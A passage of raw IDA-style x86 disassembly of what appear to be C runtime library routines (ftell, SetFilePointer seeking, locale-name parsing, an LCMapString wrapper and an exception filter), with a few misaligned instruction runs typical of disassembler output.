ebp mov ebp, esp sub esp, 8 lea eax, [ebp+arg_8] mov [ebp+var_4], eax mov [ebp+var_8], 0 jmp short loc_42B4DE ; --------------------------------------------------------------------------- loc_42B4D5: ; CODE XREF: sub_42B4C0+42j mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_42B4DE: ; CODE XREF: sub_42B4C0+13j mov edx, [ebp+var_8] cmp edx, [ebp+arg_4] jge short loc_42B504 mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ecx-4] push edx mov eax, [ebp+arg_0] push eax call sub_41E560 add esp, 8 jmp short loc_42B4D5 ; --------------------------------------------------------------------------- loc_42B504: ; CODE XREF: sub_42B4C0+24j mov [ebp+var_4], 0 mov esp, ebp pop ebp retn sub_42B4C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B510 proc near ; CODE XREF: sub_42B320+ADp var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 88h push 0 mov eax, [ebp+arg_0] push eax call sub_41D100 add esp, 0Ch mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_42B53A xor eax, eax jmp loc_42B669 ; --------------------------------------------------------------------------- loc_42B53A: ; CODE XREF: sub_42B510+21j mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] cmp ecx, 2Eh jnz short loc_42B570 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx+1] test eax, eax jz short loc_42B570 mov ecx, [ebp+arg_4] add ecx, 1 push ecx mov edx, [ebp+arg_0] add edx, 80h push edx call sub_41E550 add esp, 8 xor eax, eax jmp loc_42B669 ; --------------------------------------------------------------------------- loc_42B570: ; CODE XREF: sub_42B510+33j ; sub_42B510+3Ej mov [ebp+var_4], 0 jmp short loc_42B582 ; --------------------------------------------------------------------------- loc_42B579: ; CODE XREF: sub_42B510+152j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42B582: ; CODE XREF: sub_42B510+67j push offset a___0 ; "_.," mov ecx, [ebp+arg_4] push ecx call sub_431C60 add esp, 8 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_42B5A4 or eax, 0FFFFFFFFh jmp loc_42B669 ; --------------------------------------------------------------------------- loc_42B5A4: ; CODE XREF: sub_42B510+8Aj mov edx, [ebp+arg_4] add edx, [ebp+var_C] mov al, [edx] mov [ebp+var_8], al cmp [ebp+var_4], 0 jnz short loc_42B5DA cmp [ebp+var_C], 40h jge short loc_42B5DA movsx ecx, [ebp+var_8] cmp ecx, 2Eh jz short loc_42B5DA mov edx, [ebp+var_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41D800 add esp, 0Ch jmp short loc_42B640 ; --------------------------------------------------------------------------- loc_42B5DA: ; CODE XREF: sub_42B510+A3j ; sub_42B510+A9j ... cmp [ebp+var_4], 1 jnz short loc_42B608 cmp [ebp+var_C], 40h jge short loc_42B608 movsx edx, [ebp+var_8] cmp edx, 5Fh jz short loc_42B608 mov eax, [ebp+var_C] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] add edx, 40h push edx call sub_41D800 add esp, 0Ch jmp short loc_42B640 ; --------------------------------------------------------------------------- loc_42B608: ; CODE XREF: sub_42B510+CEj ; sub_42B510+D4j ... cmp [ebp+var_4], 2 jnz short loc_42B63B movsx eax, [ebp+var_8] test eax, eax jz short loc_42B61F movsx ecx, [ebp+var_8] cmp ecx, 2Ch jnz short loc_42B63B loc_42B61F: ; CODE XREF: sub_42B510+104j mov edx, [ebp+var_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] add ecx, 80h push ecx call sub_41D800 add esp, 0Ch jmp short loc_42B640 ; --------------------------------------------------------------------------- loc_42B63B: ; CODE XREF: sub_42B510+FCj ; sub_42B510+10Dj or eax, 0FFFFFFFFh jmp short loc_42B669 ; --------------------------------------------------------------------------- loc_42B640: ; CODE XREF: sub_42B510+C8j ; sub_42B510+F6j ... movsx edx, [ebp+var_8] cmp edx, 2Ch jnz short loc_42B64B jmp short loc_42B667 ; --------------------------------------------------------------------------- loc_42B64B: ; CODE XREF: sub_42B510+137j movsx eax, [ebp+var_8] test eax, eax jnz short loc_42B655 jmp short loc_42B667 ; --------------------------------------------------------------------------- loc_42B655: ; CODE XREF: sub_42B510+141j mov ecx, [ebp+var_C] mov edx, [ebp+arg_4] lea eax, [edx+ecx+1] mov [ebp+arg_4], eax jmp loc_42B579 ; --------------------------------------------------------------------------- loc_42B667: ; CODE XREF: sub_42B510+139j ; sub_42B510+143j xor eax, eax loc_42B669: ; CODE XREF: sub_42B510+25j ; sub_42B510+5Bj ... mov esp, ebp pop ebp retn sub_42B510 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B670 proc near ; CODE XREF: sub_42B320+101p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41E550 add esp, 8 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx+40h] test eax, eax jz short loc_42B6A8 mov ecx, [ebp+arg_4] add ecx, 40h push ecx push offset a__3 ; "_" push 2 mov edx, [ebp+arg_0] push edx call sub_42B4C0 add esp, 10h loc_42B6A8: ; CODE XREF: sub_42B670+1Cj mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax+80h] test ecx, ecx jz short loc_42B6D3 mov edx, [ebp+arg_4] add edx, 80h push edx push offset a__2 ; "." push 2 mov eax, [ebp+arg_0] push eax call sub_42B4C0 add esp, 10h loc_42B6D3: ; CODE XREF: sub_42B670+44j pop ebp retn sub_42B670 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B6E0 proc near ; CODE XREF: sub_420250+10Ep ; sub_424A30+216p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, ds:dword_4EEE20 jnb short loc_42B711 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_42B72C loc_42B711: ; CODE XREF: sub_42B6E0+Dj call sub_4267E0 mov dword ptr [eax], 9 call sub_4267F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_42B75E ; --------------------------------------------------------------------------- loc_42B72C: ; CODE XREF: sub_42B6E0+2Fj mov edx, [ebp+arg_0] push edx call sub_42DB90 add esp, 4 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42B770 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_42DC20 add esp, 4 mov eax, [ebp+var_4] loc_42B75E: ; CODE XREF: sub_42B6E0+4Aj mov esp, ebp pop ebp retn sub_42B6E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B770 proc near ; CODE XREF: sub_4240D0+40Dp ; sub_42B6E0+64p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push eax call sub_42DA10 add esp, 4 mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_42B79E call sub_4267E0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_42B81E ; --------------------------------------------------------------------------- loc_42B79E: ; CODE XREF: sub_42B770+19j mov ecx, [ebp+arg_8] push ecx push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_C] push eax call ds:dword_4F13B8 ; SetFilePointer mov [ebp+var_8], eax cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_42B7C6 call ds:dword_4F1310 ; RtlGetLastWin32Error mov [ebp+var_4], eax jmp short loc_42B7CD ; --------------------------------------------------------------------------- loc_42B7C6: ; CODE XREF: sub_42B770+49j mov [ebp+var_4], 0 loc_42B7CD: ; CODE XREF: sub_42B770+54j cmp [ebp+var_4], 0 jz short loc_42B7E4 mov ecx, [ebp+var_4] push ecx call sub_426740 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_42B81E ; --------------------------------------------------------------------------- loc_42B7E4: ; CODE XREF: sub_42B770+61j mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, ds:dword_4EED20[edx*4] mov dl, [ecx+eax+4] and dl, 0FDh mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov eax, ds:dword_4EED20[eax*4] mov [eax+ecx+4], dl mov eax, [ebp+var_8] loc_42B81E: ; CODE XREF: sub_42B770+29j ; sub_42B770+72j mov esp, ebp pop ebp retn sub_42B770 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_42B837: ; CODE XREF: seg000:0042B85Fj cmp dword ptr [ebp+8], 0 jnz short loc_42B85B push offset dword_4394EC push 0 push 32h push offset aFtell_c ; "ftell.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_42B85B int 3 ; Trap to Debugger loc_42B85B: ; CODE XREF: seg000:0042B83Bj ; seg000:0042B858j xor eax, eax test eax, eax jnz short loc_42B837 mov ecx, [ebp+8] push ecx call sub_41F070 add esp, 4 mov edx, [ebp+8] push edx call sub_42B8A0 add esp, 4 mov [ebp-4], eax mov eax, [ebp+8] push eax call sub_41F0E0 add esp, 4 mov eax, [ebp-4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B8A0 proc near ; CODE XREF: sub_420250+87p ; seg000:0042B871p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi loc_42B8A9: ; CODE XREF: sub_42B8A0+31j cmp [ebp+arg_0], 0 jnz short loc_42B8CD push offset dword_4394FC push 0 push 63h push offset aFtell_c ; "ftell.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_42B8CD int 3 ; Trap to Debugger loc_42B8CD: ; CODE XREF: sub_42B8A0+Dj ; sub_42B8A0+2Aj xor eax, eax test eax, eax jnz short loc_42B8A9 mov ecx, [ebp+arg_0] mov [ebp+var_C], ecx mov edx, [ebp+var_C] mov eax, [edx+10h] mov [ebp+var_8], eax mov ecx, [ebp+var_C] cmp dword ptr [ecx+4], 0 jge short loc_42B8F5 mov edx, [ebp+var_C] mov dword ptr [edx+4], 0 loc_42B8F5: ; CODE XREF: sub_42B8A0+49j push 1 push 0 mov eax, [ebp+var_8] push eax call sub_42B6E0 add esp, 0Ch mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jge short loc_42B916 or eax, 0FFFFFFFFh jmp loc_42BB33 ; --------------------------------------------------------------------------- loc_42B916: ; CODE XREF: sub_42B8A0+6Cj mov ecx, [ebp+var_C] mov edx, [ecx+0Ch] and edx, 108h test edx, edx jnz short loc_42B936 mov eax, [ebp+var_C] mov ecx, [ebp+var_1C] sub ecx, [eax+4] mov eax, ecx jmp loc_42BB33 ; --------------------------------------------------------------------------- loc_42B936: ; CODE XREF: sub_42B8A0+84j mov edx, [ebp+var_C] mov eax, [ebp+var_C] mov ecx, [edx] sub ecx, [eax+8] mov [ebp+var_18], ecx mov edx, [ebp+var_C] mov eax, [edx+0Ch] and eax, 3 test eax, eax jz short loc_42B9AC mov ecx, [ebp+var_8] sar ecx, 5 mov edx, [ebp+var_8] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 80h test ecx, ecx jz short loc_42B9AA mov edx, [ebp+var_C] mov eax, [edx+8] mov [ebp+var_4], eax jmp short loc_42B98A ; --------------------------------------------------------------------------- loc_42B981: ; CODE XREF: sub_42B8A0:loc_42B9A8j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42B98A: ; CODE XREF: sub_42B8A0+DFj mov edx, [ebp+var_C] mov eax, [ebp+var_4] cmp eax, [edx] jnb short loc_42B9AA mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Ah jnz short loc_42B9A8 mov eax, [ebp+var_18] add eax, 1 mov [ebp+var_18], eax loc_42B9A8: ; CODE XREF: sub_42B8A0+FDj jmp short loc_42B981 ; --------------------------------------------------------------------------- loc_42B9AA: ; CODE XREF: sub_42B8A0+D4j ; sub_42B8A0+F2j jmp short loc_42B9CF ; --------------------------------------------------------------------------- loc_42B9AC: ; CODE XREF: sub_42B8A0+AFj mov ecx, [ebp+var_C] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jnz short loc_42B9CF call sub_4267E0 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_42BB33 ; --------------------------------------------------------------------------- loc_42B9CF: ; CODE XREF: sub_42B8A0:loc_42B9AAj ; sub_42B8A0+11Aj cmp [ebp+var_1C], 0 jnz short loc_42B9DD mov eax, [ebp+var_18] jmp loc_42BB33 ; --------------------------------------------------------------------------- loc_42B9DD: ; CODE XREF: sub_42B8A0+133j mov eax, [ebp+var_C] mov ecx, [eax+0Ch] and ecx, 1 test ecx, ecx jz loc_42BB2D mov edx, [ebp+var_C] cmp dword ptr [edx+4], 0 jnz short loc_42BA03 mov [ebp+var_18], 0 jmp loc_42BB2D ; --------------------------------------------------------------------------- loc_42BA03: ; CODE XREF: sub_42B8A0+155j mov eax, [ebp+var_C] mov ecx, [ebp+var_C] mov edx, [eax] sub edx, [ecx+8] mov eax, [ebp+var_C] mov ecx, [eax+4] add ecx, edx mov [ebp+var_10], ecx mov edx, [ebp+var_8] sar edx, 5 mov eax, [ebp+var_8] and eax, 1Fh imul eax, 24h mov ecx, ds:dword_4EED20[edx*4] movsx edx, byte ptr [ecx+eax+4] and edx, 80h test edx, edx jz loc_42BB24 push 2 push 0 mov eax, [ebp+var_8] push eax call sub_42B6E0 add esp, 0Ch cmp eax, [ebp+var_1C] jnz short loc_42BAB0 mov ecx, [ebp+var_C] mov edx, [ecx+8] add edx, [ebp+var_10] mov [ebp+var_14], edx mov eax, [ebp+var_C] mov ecx, [eax+8] mov [ebp+var_4], ecx jmp short loc_42BA77 ; --------------------------------------------------------------------------- loc_42BA6E: ; CODE XREF: sub_42B8A0:loc_42BA93j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42BA77: ; CODE XREF: sub_42B8A0+1CCj mov eax, [ebp+var_4] cmp eax, [ebp+var_14] jnb short loc_42BA95 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Ah jnz short loc_42BA93 mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_42BA93: ; CODE XREF: sub_42B8A0+1E8j jmp short loc_42BA6E ; --------------------------------------------------------------------------- loc_42BA95: ; CODE XREF: sub_42B8A0+1DDj mov ecx, [ebp+var_C] mov edx, [ecx+0Ch] and edx, 2000h test edx, edx jz short loc_42BAAE mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_42BAAE: ; CODE XREF: sub_42B8A0+203j jmp short loc_42BB24 ; --------------------------------------------------------------------------- loc_42BAB0: ; CODE XREF: sub_42B8A0+1B5j push 0 mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_8] push edx call sub_42B6E0 add esp, 0Ch cmp [ebp+var_10], 200h ja short loc_42BAF0 mov eax, [ebp+var_C] mov ecx, [eax+0Ch] and ecx, 8 test ecx, ecx jz short loc_42BAF0 mov edx, [ebp+var_C] mov eax, [edx+0Ch] and eax, 400h test eax, eax jnz short loc_42BAF0 mov [ebp+var_10], 200h jmp short loc_42BAF9 ; --------------------------------------------------------------------------- loc_42BAF0: ; CODE XREF: sub_42B8A0+229j ; sub_42B8A0+236j ... mov ecx, [ebp+var_C] mov edx, [ecx+18h] mov [ebp+var_10], edx loc_42BAF9: ; CODE XREF: sub_42B8A0+24Ej mov eax, [ebp+var_8] sar eax, 5 mov ecx, [ebp+var_8] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4EED20[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 4 test eax, eax jz short loc_42BB24 mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_42BB24: ; CODE XREF: sub_42B8A0+19Cj ; sub_42B8A0:loc_42BAAEj ... mov edx, [ebp+var_1C] sub edx, [ebp+var_10] mov [ebp+var_1C], edx loc_42BB2D: ; CODE XREF: sub_42B8A0+148j ; sub_42B8A0+15Ej mov eax, [ebp+var_1C] add eax, [ebp+var_18] loc_42BB33: ; CODE XREF: sub_42B8A0+71j ; sub_42B8A0+91j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42B8A0 endp ; --------------------------------------------------------------------------- align 10h loc_42BB40: ; CODE XREF: sub_420A00+EBp ; sub_4262B0+121p ... push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43A2B0 push offset sub_42CA04 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFDCh push ebx push esi push edi mov [ebp-18h], esp cmp ds:dword_4EEA88, 0 jnz short loc_42BBC6 push 0 push 0 push 1 push offset dword_43A2A8 push 100h push 0 call ds:dword_4F12F0 ; LCMapStringW test eax, eax jz short loc_42BB97 mov ds:dword_4EEA88, 1 jmp short loc_42BBC6 ; --------------------------------------------------------------------------- loc_42BB97: ; CODE XREF: seg000:0042BB89j push 0 push 0 push 1 push offset dword_43A2A4 push 100h push 0 call near ptr 3D0000h xchg eax, edi test eax, eax jz short loc_42BBBF mov ds:dword_4EEA88, 2 jmp short loc_42BBC6 ; --------------------------------------------------------------------------- loc_42BBBF: ; CODE XREF: seg000:0042BBB1j xor eax, eax jmp loc_42BE31 ; --------------------------------------------------------------------------- loc_42BBC6: ; CODE XREF: seg000:0042BB6Dj ; seg000:0042BB95j ... cmp dword ptr [ebp+14h], 0 jle short loc_42BBDF mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx call sub_42BE50 add esp, 8 mov [ebp+14h], eax loc_42BBDF: ; CODE XREF: seg000:0042BBCAj cmp ds:dword_4EEA88, 2 jnz short near ptr loc_42BC0A+1 mov edx, [ebp+1Ch] push edx mov eax, [ebp+18h] push eax mov ecx, [ebp+14h] push ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call near ptr 3D0000h shr ecx, 26h add al, [eax] loc_42BC0A: ; CODE XREF: seg000:0042BBE6j add [ebx+4EEA883Dh], al add [ecx], al jnz loc_42BE2F cmp dword ptr [ebp+20h], 0 jnz short loc_42BC27 mov edx, ds:dword_4EEA80 mov [ebp+20h], edx loc_42BC27: ; CODE XREF: seg000:0042BC1Cj push 0 push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+24h] neg edx sbb edx, edx and edx, 8 add edx, 1 push edx mov eax, [ebp+20h] push eax call ds:dword_4F1370 ; MultiByteToWideChar mov [ebp-1Ch], eax cmp dword ptr [ebp-1Ch], 0 jnz short loc_42BC5B xor eax, eax jmp loc_42BE31 ; --------------------------------------------------------------------------- loc_42BC5B: ; CODE XREF: seg000:0042BC52j mov dword ptr [ebp-4], 0 mov eax, [ebp-1Ch] shl eax, 1 add eax, 3 and al, 0FCh call sub_41DEB0 mov [ebp-30h], esp mov [ebp-18h], esp mov ecx, [ebp-30h] mov [ebp-24h], ecx mov dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_42BC9D ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov dword ptr [ebp-24h], 0 mov dword ptr [ebp-4], 0FFFFFFFFh loc_42BC9D: ; CODE XREF: seg000:0042BC84j cmp dword ptr [ebp-24h], 0 jnz short loc_42BCAA xor eax, eax jmp loc_42BE31 ; --------------------------------------------------------------------------- loc_42BCAA: ; CODE XREF: seg000:0042BCA1j mov edx, [ebp-1Ch] push edx mov eax, [ebp-24h] push eax mov ecx, [ebp+14h] push ecx mov edx, [ebp+10h] push edx push 1 mov eax, [ebp+20h] push eax call ds:dword_4F1370 ; MultiByteToWideChar test eax, eax jnz short loc_42BCD1 xor eax, eax jmp loc_42BE31 ; --------------------------------------------------------------------------- loc_42BCD1: ; CODE XREF: seg000:0042BCC8j push 0 push 0 mov ecx, [ebp-1Ch] push ecx mov edx, [ebp-24h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call ds:dword_4F12F0 ; LCMapStringW mov [ebp-28h], eax cmp dword ptr [ebp-28h], 0 jnz short loc_42BCFB xor eax, eax jmp loc_42BE31 ; --------------------------------------------------------------------------- loc_42BCFB: ; CODE XREF: seg000:0042BCF2j mov edx, [ebp+0Ch] and edx, 400h test edx, edx jz short loc_42BD4B cmp dword ptr [ebp+1Ch], 0 jz short loc_42BD46 mov eax, [ebp-28h] cmp eax, [ebp+1Ch] jle short loc_42BD1D xor eax, eax jmp loc_42BE31 ; --------------------------------------------------------------------------- loc_42BD1D: ; CODE XREF: seg000:0042BD14j mov ecx, [ebp+1Ch] push ecx mov edx, [ebp+18h] push edx mov eax, [ebp-1Ch] push eax mov ecx, [ebp-24h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call ds:dword_4F12F0 ; LCMapStringW test eax, eax jnz short loc_42BD46 xor eax, eax jmp loc_42BE31 ; --------------------------------------------------------------------------- loc_42BD46: ; CODE XREF: seg000:0042BD0Cj ; seg000:0042BD3Dj jmp loc_42BE2A ; --------------------------------------------------------------------------- loc_42BD4B: ; CODE XREF: seg000:0042BD06j mov ecx, [ebp-28h] mov [ebp-2Ch], ecx mov dword ptr [ebp-4], 1 mov eax, [ebp-2Ch] shl eax, 1 add eax, 3 and al, 0FCh call sub_41DEB0 mov [ebp-34h], esp mov [ebp-18h], esp mov edx, [ebp-34h] mov [ebp-20h], edx mov dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_42BD93 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov dword ptr [ebp-20h], 0 mov dword ptr [ebp-4], 0FFFFFFFFh loc_42BD93: ; CODE XREF: seg000:0042BD7Aj cmp dword ptr [ebp-20h], 0 jnz short loc_42BDA0 xor eax, eax jmp loc_42BE31 ; --------------------------------------------------------------------------- loc_42BDA0: ; CODE XREF: seg000:0042BD97j mov eax, [ebp-2Ch] push eax mov ecx, [ebp-20h] push ecx mov edx, [ebp-1Ch] push edx mov eax, [ebp-24h] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call ds:dword_4F12F0 ; LCMapStringW test eax, eax jnz short loc_42BDC6 xor eax, eax jmp short loc_42BE31 ; --------------------------------------------------------------------------- loc_42BDC6: ; CODE XREF: seg000:0042BDC0j cmp dword ptr [ebp+1Ch], 0 jnz short loc_42BDFA push 0 push 0 push 0 push 0 mov eax, [ebp-2Ch] push eax mov ecx, [ebp-20h] push ecx push 220h mov edx, [ebp+20h] push edx call ds:dword_4F1384 ; WideCharToMultiByte mov [ebp-28h], eax cmp dword ptr [ebp-28h], 0 jnz short loc_42BDF8 xor eax, eax jmp short loc_42BE31 ; --------------------------------------------------------------------------- loc_42BDF8: ; CODE XREF: seg000:0042BDF2j jmp short loc_42BE2A ; --------------------------------------------------------------------------- loc_42BDFA: ; CODE XREF: seg000:0042BDCAj push 0 push 0 mov eax, [ebp+1Ch] push eax mov ecx, [ebp+18h] push ecx mov edx, [ebp-2Ch] push edx mov eax, [ebp-20h] push eax push 220h mov ecx, [ebp+20h] push ecx call ds:dword_4F1384 ; WideCharToMultiByte mov [ebp-28h], eax cmp dword ptr [ebp-28h], 0 jnz short loc_42BE2A xor eax, eax jmp short loc_42BE31 ; --------------------------------------------------------------------------- loc_42BE2A: ; CODE XREF: seg000:loc_42BD46j ; seg000:loc_42BDF8j ... mov eax, [ebp-28h] jmp short loc_42BE31 ; --------------------------------------------------------------------------- loc_42BE2F: ; CODE XREF: seg000:0042BC12j xor eax, eax loc_42BE31: ; CODE XREF: seg000:0042BBC1j ; seg000:0042BC56j ... lea esp, [ebp-40h] mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BE50 proc near ; CODE XREF: seg000:0042BBD4p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx loc_42BE62: ; CODE XREF: sub_42BE50+35j mov edx, [ebp+var_8] mov eax, [ebp+var_8] sub eax, 1 mov [ebp+var_8], eax test edx, edx jz short loc_42BE87 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_42BE87 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_42BE62 ; --------------------------------------------------------------------------- loc_42BE87: ; CODE XREF: sub_42BE50+20j ; sub_42BE50+2Aj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_42BE99 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] jmp short loc_42BE9C ; --------------------------------------------------------------------------- loc_42BE99: ; CODE XREF: sub_42BE50+3Fj mov eax, [ebp+arg_4] loc_42BE9C: ; CODE XREF: sub_42BE50+47j mov esp, ebp pop ebp retn sub_42BE50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BEA0 proc near ; CODE XREF: seg000:00420C74p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h call sub_425C30 mov [ebp+var_8], eax mov eax, [ebp+var_8] mov ecx, [eax+50h] push ecx mov edx, [ebp+arg_0] push edx call sub_42C060 add esp, 8 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_42BED3 mov eax, [ebp+var_10] cmp dword ptr [eax+8], 0 jnz short loc_42BEE2 loc_42BED3: ; CODE XREF: sub_42BEA0+28j mov ecx, [ebp+arg_4] push ecx call ds:dword_4F12EC ; UnhandledExceptionFilter jmp loc_42C05A ; --------------------------------------------------------------------------- loc_42BEE2: ; CODE XREF: sub_42BEA0+31j mov edx, [ebp+var_10] cmp dword ptr [edx+8], 5 jnz short loc_42BEFF mov eax, [ebp+var_10] mov dword ptr [eax+8], 0 mov eax, 1 jmp loc_42C05A ; --------------------------------------------------------------------------- loc_42BEFF: ; CODE XREF: sub_42BEA0+49j mov ecx, [ebp+var_10] cmp dword ptr [ecx+8], 1 jnz short loc_42BF10 or eax, 0FFFFFFFFh jmp loc_42C05A ; --------------------------------------------------------------------------- loc_42BF10: ; CODE XREF: sub_42BEA0+66j mov edx, [ebp+var_10] mov eax, [edx+8] mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ecx+54h] mov [ebp+var_18], edx mov eax, [ebp+var_8] mov ecx, [ebp+arg_4] mov [eax+54h], ecx mov edx, [ebp+var_10] cmp dword ptr [edx+4], 8 jnz loc_42C037 mov eax, ds:dword_4505F0 mov [ebp+var_14], eax jmp short loc_42BF4B ; --------------------------------------------------------------------------- loc_42BF42: ; CODE XREF: sub_42BEA0+D0j mov ecx, [ebp+var_14] add ecx, 1 mov [ebp+var_14], ecx loc_42BF4B: ; CODE XREF: sub_42BEA0+A0j mov edx, ds:dword_4505F0 add edx, ds:dword_4505F4 cmp [ebp+var_14], edx jge short loc_42BF72 mov eax, [ebp+var_14] imul eax, 0Ch mov ecx, [ebp+var_8] mov edx, [ecx+50h] mov dword ptr [edx+eax+8], 0 jmp short loc_42BF42 ; --------------------------------------------------------------------------- loc_42BF72: ; CODE XREF: sub_42BEA0+BAj mov eax, [ebp+var_8] mov ecx, [eax+58h] mov [ebp+var_C], ecx mov edx, [ebp+var_10] cmp dword ptr [edx], 0C000008Eh jnz short loc_42BF95 mov eax, [ebp+var_8] mov dword ptr [eax+58h], 83h jmp loc_42C01D ; --------------------------------------------------------------------------- loc_42BF95: ; CODE XREF: sub_42BEA0+E4j mov ecx, [ebp+var_10] cmp dword ptr [ecx], 0C0000090h jnz short loc_42BFAC mov edx, [ebp+var_8] mov dword ptr [edx+58h], 81h jmp short loc_42C01D ; --------------------------------------------------------------------------- loc_42BFAC: ; CODE XREF: sub_42BEA0+FEj mov eax, [ebp+var_10] cmp dword ptr [eax], 0C0000091h jnz short loc_42BFC3 mov ecx, [ebp+var_8] mov dword ptr [ecx+58h], 84h jmp short 